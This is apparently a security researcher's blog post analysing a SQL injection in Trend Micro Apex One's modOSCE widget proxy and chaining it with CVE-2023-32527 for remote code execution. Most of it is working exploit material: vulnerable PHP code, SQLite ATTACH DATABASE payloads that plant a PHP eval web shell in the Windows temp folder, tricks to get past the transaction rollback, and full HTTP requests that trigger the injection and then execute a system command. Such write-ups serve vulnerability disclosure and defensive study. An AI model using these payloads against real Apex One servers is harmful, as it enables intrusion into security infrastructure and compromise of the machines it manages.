如果有机会,下篇博客带大家看看41岁职场老登。😅
Trend Micro Apex One modOSCE contain vulnerabilities which would allow authenticated users to perform a SQL injection that could lead to remote code execution.
Vulnerable code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function execMultiSQL ( $sqls ) { try { $this ->dm_handler->beginTransaction (); foreach ($sqls as $asql ){ $this ->dm_handler->exec ($asql ); } $this ->dm_handler->commit (); return True; } catch (PDOException $exception ) { $this ->errMsg .= "PDOException = " .$exception ->getMessage (); $this ->dm_handler->rollBack (); return false ; } } public function execQuery ($sql ) { return $this ->dm_handler->query ($sql ); }
exeQuery
function calls PDO::query
directly
Vulnerable code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public function SetCache ($iTimeoutSec , $strProduct , $strPrimaryKey , $oData ) { $retAry = array (); $arysql = array (); $ret = Parser ::DecodeToArray ($oData , $retAry ); if ($ret == true && is_array ($retAry ) && count ($retAry ) > 0 ) { $arysql [] = "INSERT OR REPLACE INTO tb_CacheMain VALUES (NULL, '" .$this ->m_sessionID."', " .time ().", " .$iTimeoutSec .")" ; if ( $nn !== false ) { $prod_pty = substr ($prod_pty , 0 , $nn ); $arysql [] = "INSERT INTO tb_CacheDetail VALUES ('" .$this ->m_sessionID."', '" .$strProduct ."','" .$prod_pty ."')" ; } if (count ($arysql )>3 ) { $ret = $this ->m_sql->execMultiSQL ($arysql ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 public function proxy_output ( ) { switch ($this ->cgiArgs["T" ]) { case 'modOSCEMashup' : mydebug_log ("[modOSCE Proxy] modOSCEMashup proxy_output" ); $this ->RetrieveMashUpData (); break ; } return ; } private function RetrieveMashUpData ( ) { mydebug_log ("[modOSCE Proxy] RetrieveMashUpData() " .$this ->cgiArgs["param" ]); if (isset ($this ->cgiArgs["param" ])) { $param = json_decode ($this ->cgiArgs["param" ],true ); switch ($param ["subtype" ]) { case 'domain' : case 'client' : mydebug_log ("[modOSCE Proxy] subtype is client" ); $strFilter = "PARENT_GUID%20eq%20guid'" .$param ["ParentGUID" ]."'" ; $this ->GetClientInfo (true , $param , $strFilter ); break ; case 'sort_client' : case 'find_client' : case 'sort_find_client' : } } return true ; } private function GetClientInfo ($refresh , $param , $strFilter ) { if ($localCache ->GetCacheStatus () != 2 ) { mydebug_log ("[modOSCE Proxy] Get data from each DAL" ); $arrErrCode = array (); $bClientExist = TRUE ; foreach ($param ["ProductList" ] as $productInfo ) { $strColList = "" ; $strColList = implode ("," , $productInfo ["Col_List" ]); $URL = '/officescan/DAL/' .$productInfo ["PID" ].'/Clients?$format=json&$filter=' .$strFilter .'&$select=' .$strColList ; mydebug_log ("DAL= " .$URL ); if ($this ->SendRequest ($URL )) { mydebug_log ("[modOSCE Proxy] result from DAL --> " .$this ->httpObj->getBody ()); $nResult = $this ->AnalyzeResult ($productInfo ["PID" ], $this ->httpObj->getBody (), $arrErrCode ); if (1 == $nResult ) { $localCache ->SetCache (600 , $productInfo ["PID" ],"GUID" , $this ->httpObj->getBody ()); } }
Source
1 2 3 4 5 $param = json_decode ($this ->cgiArgs["param" ],true );foreach ($param ["ProductList" ] as $productInfo ){
Sink
1 2 3 4 $localCache ->SetCache (600 , $productInfo ["PID" ],"GUID" , $this ->httpObj->getBody ());$arysql [] = "INSERT INTO tb_CacheDetail VALUES ('" .$this ->m_sessionID."', '" .$strProduct ."','" .$prod_pty ."')" ;
With SQLi in SQLite, we can easily achieve RCE.
1 2 3 ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg; CREATE TABLE webdxg.pwn (t text); INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');
payload
1 t','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);')--
However, we should notice some details.
SetCache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 $arysql [] = "INSERT OR REPLACE INTO tb_CacheMain VALUES (NULL, '" .$this ->m_sessionID."', " .time ().", " .$iTimeoutSec .")" ;$prod_col = "" ;$prod_pty = "" ;foreach ($retAry [0 ] as $col => $val ){ $prod_pty .= $col .", " ; $prod_col .= $col ; if (is_int ($val )) $prod_col .= " INTEGER" ; elseif (is_float ($val )) $prod_col .= " REAL" ; else $prod_col .= " TEXT" ; if ($strPrimaryKey == $col ) $prod_col .= " PRIMARY KEY, " ; else $prod_col .= ", " ; } $n = strrpos ($prod_col , "," ); $nn = strrpos ($prod_pty , "," ); if ( $nn !== false ){ $prod_pty = substr ($prod_pty , 0 , $nn ); $arysql [] = "INSERT INTO tb_CacheDetail VALUES ('" .$this ->m_sessionID."', '" .$strProduct ."','" .$prod_pty ."')" ; } if ($n !== false ){ $prod_col = substr ($prod_col , 0 , $n ); $prod_tbl = $this ->GetTableName ($strProduct ); $arysql [] = "CREATE TABLE " .$prod_tbl ." (" .$prod_col .")" ; foreach ($retAry as $row ) { $prod_row = "" ; foreach ($row as $val ) $prod_row .= "'" .$val ."'," ; $nn = strrpos ($prod_row , "," ); if ( $nn !== false ) { $prod_row = substr ($prod_row , 0 , $nn ); $arysql [] = "INSERT INTO " .$prod_tbl ." VALUES (" .$prod_row .")" ; } } } if (count ($arysql )>3 ){ $ret = $this ->m_sql->execMultiSQL ($arysql );
Our payload will be used as part of table name, in sqlite it will trigger error and rollBack
because our payload contains some special chars.Just like the demo below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $payload = '' ;$dm_conn = "sqlite:data.db" ;$dm_handler = new PDO ($dm_conn );$dm_handler ->setAttribute (PDO::ATTR_ERRMODE , PDO::ERRMODE_EXCEPTION );$arysql [] = "INSERT OR REPLACE INTO tb_CacheMain VALUES (NULL, '0b21686771c60dbe664e2f0a678260d5', " .time ().", 600)" ;$arysql [] = "INSERT INTO tb_CacheDetail VALUES ('0b21686771c60dbe664e2f0a678260d5', '" .$payload ."', 't')" ;$arysql [] = "CREATE TABLE tb_Cache_0b21686771c60dbe664e2f0a678260d5_" .$payload ." (t TEXT)" ;$arysql [] = "INSERT INTO tb_Cache_0b21686771c60dbe664e2f0a678260d5_" .$payload ." VALUES ('t')" ;try { $dm_handler ->beginTransaction (); foreach ($arysql as $asql ){ $dm_handler ->exec ($asql ); } $dm_handler ->commit (); } catch (PDOException $exception ) { $dm_handler ->rollBack (); }
We can use COMMIT;
to prevent this.
Payload
1 t','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');COMMIT--
GetClientInfo
1 2 3 4 5 6 7 8 9 10 11 12 $URL = '/officescan/DAL/' .$productInfo ["PID" ].'/Clients?$format=json&$filter=' .$strFilter .'&$select=' .$strColList ;mydebug_log ("DAL= " .$URL );if ($this ->SendRequest ($URL )){ mydebug_log ("[modOSCE Proxy] result from DAL --> " .$this ->httpObj->getBody ()); $nResult = $this ->AnalyzeResult ($productInfo ["PID" ], $this ->httpObj->getBody (), $arrErrCode ); if (1 == $nResult ) { $localCache ->SetCache (600 , $productInfo ["PID" ],"GUID" , $this ->httpObj->getBody ()); }
We need to make sure AnalyzeResult
returns 1.After analysing AnalyzeResult
, I find that if response of the request to $URL
matches the json format below it will return 1.
1 { "d" : { "result" : [ { "webdxg" : "t" } ] }
but $URL
contains our payload in the part of path.
SendRequest
uses CURLOPT_URL
, we can modify our payload to achieve this.
1 ../path?#','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');COMMIT--
1 scheme://authority/path?query# fragment
We don’t need to care fragment
.Now, we need to find the path which can return eligible response.
After reading the code, I make sure the eligible path exists.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private function checkPLSPR ($pls ) { mydebug_log ("[modOSCE Proxy] pls=" .$pls ); $arr_pls = explode ("," , $pls ); $product_pls = array (); foreach ($arr_pls as $pls_name ) { $URL = '/officescan/DAL/' .$pls_name .'/CategoryLicenses?$format=json&$expand=' . $pls_name . '_LICENSE_STATUS' ; mydebug_log ("[modOSCE Proxy] checkPLSPR: URL=" .$URL ); if ($this ->SendRequest ($URL )){ if (!isset ($pls_pr_json ["d" ])){ } else { $reminder = $pls_pr_json ['d' ]["result" ][0 ][$pls_name . '_LICENSE_STATUS' ][0 ][$pls_name ."_REMINDER" ]; }
Payload
1 ../DAL/OSCE/Clients?$format=json&$filter=PARENT_GUID%20eq%20guid%2779a4ce68-212d-422a-9876-3265feb54103%27#','t');ATTACH DATABASE 'C:\Windows\Temp\PoolManager.php' AS webdxg;CREATE TABLE webdxg.pwn (t text);INSERT INTO webdxg.pwn (t) VALUES('<?php eval($_GET[2333]);');COMMIT--
Exploitation
Combing with CVE-2023-32527, we can achieve remote code execution.
Requests
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /officescan/console/html/widget/proxy_controller.php HTTP/2 Host : win-ovtqo8kelf6:4343Cookie : session_expired=no; DisabledIds=9999.; LogonUser=root; ReadOnlyIds=8.56.; enableRba=1; LANG=en_US; cname=dashBoard; wf_version=3.8; lastID=33; lastTab=-1; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; serror=0; retry=0; FeatureEnableState=optDLPMobileReadonly@0|enableAntiBody@1|enableCCFR@1|enableCfw@1|enableDcs@1|enableSorting@0|enableSpy@1|enableVirus@1|HasAvAddSvc@1|installWSS@1|enableDLP@0|sqldbMode@1|enableIPv6@1|w2ksupport@0|RoleSvc@0|iAC@1|iVP@2|iATAS@4|iES@4|; key=92511314314451; osce_csrf_token=CI2tfbN09Hi6bO5oBRva5FSQtjVVSFH5BVrovD97AKydty2PimKcgqxgbS3fRrt01FU9kJULuQyyl6pf5jFmcQXUg8SPWpP5bmJciWFkT3Iml0kNTkl3aaenKVuKZoKQK692s5grDsn4JdMYXoQwHqyGmGBvKaxgnlaGD8nLne5qIWry1aqQeWgWBcrU7vn0BKDZZ1rX6; session=f7f613ddc5fc713b34011c9162e76979; stamp=46443250; timestamp=1703149175; LANG=en_US; wf_version=3.8; cname=dashBoard; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; session_expired=yes; lastID=33; lastTab=-1; PHPSESSID=hq6mcjlnutt89opaha3g0pfjd2; wf_CSRF_token=42277b0a11fd8f0f361cab653a3b89b6Cache-Control : max-age=0Sec-Ch-Ua : "Not_A Brand";v="8", "Chromium";v="120"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Priority : u=0, iContent-Type : application/x-www-form-urlencodedContent-Length : 1116module = modOSCE&T= modOSCEMashup&serverid= 1 ¶m= %7 b%22 %73 %75 %62 %74 %79 %70 %65 %22 %3 a%22 %63 %6 c %69 %65 %6 e%74 %22 %2 c %22 %50 %61 %72 %65 %6 e%74 %47 %55 %49 %44 %22 %3 a%22 %22 %2 c %22 %50 %72 %6 f%64 %75 %63 %74 %4 c %69 %73 %74 %22 %3 a%5 b%7 b%22 %43 %6 f%6 c %5 f%4 c %69 %73 %74 %22 %3 a%5 b%5 d%2 c %22 %50 %49 %44 %22 %3 a%22 %2 e%2 e%2 f%44 %41 %4 c %2 f%4 f%53 %43 %45 %2 f%43 %6 c %69 %65 %6 e%74 %73 %3 f%24 %66 %6 f%72 %6 d%61 %74 %3 d%6 a%73 %6 f%6 e%26 %24 %66 %69 %6 c %74 %65 %72 %3 d%50 %41 %52 %45 %4 e%54 %5 f%47 %55 %49 %44 %25 %32 %30 %65 %71 %25 %32 %30 %67 %75 %69 %64 %25 %32 %37 %37 %39 %61 %34 %63 %65 %36 %38 %2 d%32 %31 %32 %64 %2 d%34 %32 %32 %61 %2 d%39 %38 %37 %36 %2 d%33 %32 %36 %35 %66 %65 %62 %35 %34 %31 %30 %33 %25 %32 %37 %23 %27 %2 c %27 %74 %27 %29 %3 b%41 %54 %54 %41 %43 %48 %20 %44 %41 %54 %41 %42 %41 %53 %45 %20 %27 %43 %3 a%5 c %5 c %57 %69 %6 e%64 %6 f%77 %73 %5 c %5 c %54 %65 %6 d%70 %5 c %5 c %50 %6 f%6 f%6 c %4 d%61 %6 e%61 %67 %65 %72 %2 e%70 %68 %70 %27 %20 %41 %53 %20 %6 c %6 f%6 c %3 b%43 %52 %45 %41 %54 %45 %20 %54 %41 %42 %4 c %45 %20 %6 c %6 f%6 c %2 e%70 %77 %6 e%20 %28 %64 %61 %74 %61 %7 a%20 %74 %65 %78 %74 %29 %3 b%49 %4 e%53 %45 %52 %54 %20 %49 %4 e%54 %4 f%20 %6 c %6 f%6 c %2 e%70 %77 %6 e%20 %28 %64 %61 %74 %61 %7 a%29 %20 %56 %41 %4 c %55 %45 %53 %28 %27 %3 c %3 f%70 %68 %70 %20 %65 %76 %61 %6 c %28 %24 %5 f%47 %45 %54 %5 b%32 %33 %33 %33 %5 d%29 %3 b%27 %29 %3 b%43 %4 f%4 d%4 d%49 %54 %2 d%2 d%22 %7 d%5 d%7 d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /officescan/console/html/widget/inc/widget_package_manager.php?HTTP_X_CSRFTOKEN=42277b0a11fd8f0f361cab653a3b89b6&2333=system("calc"); HTTP/2 Host : win-ovtqo8kelf6:4343Cookie : session_expired=no; DisabledIds=9999.; LogonUser=root; ReadOnlyIds=8.56.; enableRba=1; LANG=en_US; cname=dashBoard; wf_version=3.8; lastID=33; lastTab=-1; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; serror=0; retry=0; FeatureEnableState=optDLPMobileReadonly@0|enableAntiBody@1|enableCCFR@1|enableCfw@1|enableDcs@1|enableSorting@0|enableSpy@1|enableVirus@1|HasAvAddSvc@1|installWSS@1|enableDLP@0|sqldbMode@1|enableIPv6@1|w2ksupport@0|RoleSvc@0|iAC@1|iVP@2|iATAS@4|iES@4|; key=92511314314451; osce_csrf_token=CI2tfbN09Hi6bO5oBRva5FSQtjVVSFH5BVrovD97AKydty2PimKcgqxgbS3fRrt01FU9kJULuQyyl6pf5jFmcQXUg8SPWpP5bmJciWFkT3Iml0kNTkl3aaenKVuKZoKQK692s5grDsn4JdMYXoQwHqyGmGBvKaxgnlaGD8nLne5qIWry1aqQeWgWBcrU7vn0BKDZZ1rX6; session=f7f613ddc5fc713b34011c9162e76979; stamp=46443250; timestamp=1703149175; LANG=en_US; wf_version=3.8; cname=dashBoard; theme=default; wids=modOSCEDetectionSummary,modOSCEEndpointSummary,modOSCERansomwareDetectionsSummary,modOSCERansomwareDetectionsOverTime,modOSCESecurityRiskDetection,; session_expired=yes; lastID=33; lastTab=-1; PHPSESSID=hq6mcjlnutt89opaha3g0pfjd2; wf_CSRF_token=42277b0a11fd8f0f361cab653a3b89b6Cache-Control : max-age=0Sec-Ch-Ua : "Not_A Brand";v="8", "Chromium";v="120"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Priority : u=0, iContent-Type : application/jsonContent-Length : 99{ "act" :"check" ,"update_type" :"..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ ..\\ windows\\ temp\\ " }